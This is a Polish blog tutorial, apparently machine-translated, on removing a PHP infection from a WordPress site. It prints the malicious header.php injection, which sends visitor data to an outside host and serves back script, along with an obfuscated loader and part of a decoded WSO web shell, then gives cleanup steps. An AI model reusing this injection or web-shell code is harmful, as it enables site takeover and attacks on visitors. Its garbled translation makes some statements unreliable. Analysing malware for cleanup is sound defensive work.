Usunąć WordPress Wirus PHP

W tym samouczku przedstawiono szczególny przypadek, w którym blog WordPress było zainfekowane. Usuwanie WordPress Wirus PHP.

Pewnego dnia zauważyłem podejrzany kod, który wydaje się być wirusem PHP WordPress. Poniższy kod PHP był obecny w pliku header.php, przed linią </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

To jest kod PHP, który wygląda tak, jakby próbował pobrać zawartość zasobu z zewnętrznego serwera, ale część odnosząca się do adresu URL jest niekompletna.

Mechanizm roboczy jest nieco bardziej złożony i to robi WordPress Wirus PHP niewidoczny dla odwiedzających witryny, których dotyczy problem. Zamiast tego celuje w wyszukiwarki (Google) i pośrednio prowadzi do znacznego spadku liczby odwiedzających dotknięte strony internetowe.

Szczegóły złośliwego oprogramowania WordPress Wirus PHP

1. Powyższy kod występuje w header.php.

2. Na serwerze pojawił się plik wp-log.php w folderze wp-includes.

3. wp-log.php zawiera zaszyfrowany kod, ale stosunkowo łatwy do odszyfrowania.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Odszyfruj kod złośliwego oprogramowania z wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Wygląda na to, że jest to złośliwy skrypt PHP, który zawiera kod obsługujący uwierzytelnianie i działania na plikach i katalogach na serwerze. Można bardzo łatwo zauważyć, że ten skrypt zawiera zmienne takie jak $auth_pass (hasło uwierzytelniające), $default_action (domyślna akcja), $default_use_ajax (domyślnie używając Ajax) i $default_charset (domyślne ustawienie znaków).

Oczywiście ten skrypt ma sekcję, która sprawdza agentów użytkownika HTTP w celu zablokowania dostępu do niektórych botów internetowych, takich jak wyszukiwarki. Posiada również sekcję, która sprawdza tryb bezpieczeństwa PHP i ustawia określone katalogi robocze.

4. Jeśli w przeglądarce uzyska się dostęp do wp-log.php, pojawi się strona internetowa z polem uwierzytelnianie. Na pierwszy rzut oka wydaje się, że jest to menedżer plików, za pomocą którego można łatwo przesyłać nowe pliki na serwer docelowy.

Jak odwirusować stronę internetową WordPress?

Ręczny proces dewirusowania zawsze polega na wykryciu i zrozumieniu, na czym polega luka w zabezpieczeniach.

1. Wygeneruj kopię zapasową dla całej witryny. Musi to obejmować zarówno pliki, jak i bazę danych.

2. Określ w przybliżeniu, jak długo wirus istnieje i wyszukaj na serwerze WWW zmodyfikowane lub nowo utworzone pliki w przybliżonym przedziale czasowym.

Na przykład, jeśli chcesz zobaczyć pliki .php utworzone lub zmodyfikowane w ciągu ostatniego tygodnia, uruchom komendę na serwerze:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Jest to prosta metoda, dzięki której można odkryć pliki WordPress zainfekowane i zawierające kod złośliwego oprogramowania.

3. Sprawdź plik .htaccess podejrzanych dyrektyw. Wiersze uprawnień lub wykonanie skryptu.

4. Sprawdź bazę danych. Jest całkiem możliwe, że niektóre posty i strony WordPress być edytowane ze złośliwym oprogramowaniem lub dodawane nowe użytkownicy z rolą administrator.

5. Sprawdź uprawnienia do zapisu dla folderów i plików. chmod şi chown.

Zalecane uprawnienia to: 644 dla plików i 755 dla katalogów.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Zaktualizuj wszystko WordPress Plugins / WordPress Themes.

Związane z: Fix Redirect WordPress Hack 2023 (Virus Redirect)

Są to „podstawowe” metody, za pomocą których można odwirusować stronę internetową/blog WordPress. Jeśli masz problemy i potrzebujesz pomocy, sekcja komentarzy jest otwarta.

Pasjonat technologii, z przyjemnością piszę dalej StealthSettings.com od 2006 roku. Mam duże doświadczenie w systemach operacyjnych: macOS, Windows şi Linux, ale także w językach programowania i platformach blogowych (WordPress) oraz dla sklepów internetowych (WooCommerce, Magento, PrestaShop).

jak » WordPress » Usunąć WordPress Wirus PHP
Zostaw komentarz